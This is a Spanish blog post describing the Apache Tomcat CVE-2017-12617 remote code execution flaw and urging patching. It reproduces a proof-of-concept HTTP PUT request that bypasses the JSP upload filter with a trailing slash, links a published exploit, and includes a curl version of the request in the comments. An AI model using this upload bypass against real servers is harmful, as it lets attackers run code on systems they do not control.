Vulnerabilidad RCE en Tomcat (CVE-2017-12617): HTTP PUT + bypass jsp upload

El equipo de Apache Tomcat anunció que todas las versiones de Tomcat anteriores a la 9.0.1 (Beta), 8.5.23, 8.0.47 y 7.0.82 en todos los sistemas operativos contienen una vulnerabilidad de ejecución remota de código (RCE) si el servlet por defecto y/o el servlet WebDAV se configura con el parámetro readonly a false.

Para comprobar si un servidor es vulnerable sólo hay que chequear el init-param en el fichero web.xml correspondiente:
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>

Con esta configuración es posible que cualquier usuario NO autenticado pueda subir archivos (HTTP PUT), como decía Alejandro Ramos una "Reproducción de vulnerabilidades de los 90". Si bien el gran problema es que el filtro que impide la subida de JavaServer Pages (.jsp) se puede bypassear. Es decir, se puede subir un JSP y a continuación se puede ejecutar en el servidor.

El pasado 20 de septiembre se publicó una PoC en Tomcat Bugtracker y, aunque la mayoría de sistemas no tienen esta config por defecto, conviene parchear anyway:
PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26

<% out.println("hello");%>

Exploits publicados:
- https://github.com/cyberheartmi9/CVE-2017-12617

Fuente: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

3 comentarios :

  1. Hola.
    Cual sería el equivalente de ese request en un curl?, funciona apuntando hacia cualquier recurso?
    Saludos!!

    ResponderEliminar
    Respuestas
    1. La petición en Curl sería:

      curl -i -s -k -X $'PUT' \
      -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36' -H $'Referer: http://192.168.3.103:8080/examples/' \
      -b $'JSESSIONID=A27674F21B3308B4D893205FD2E2BF94' \
      --data-binary $'<% out.println(\"hello\");%>' \
      $'http://192.168.3.103:8080/1.jsp/'

      Esto vale sólo para las URLs del context del servlet vulnerable.

      Saludos!

      Eliminar
    2. Gracias!, de verdad te felicito por tu buen blog.
      Saludos!

      Eliminar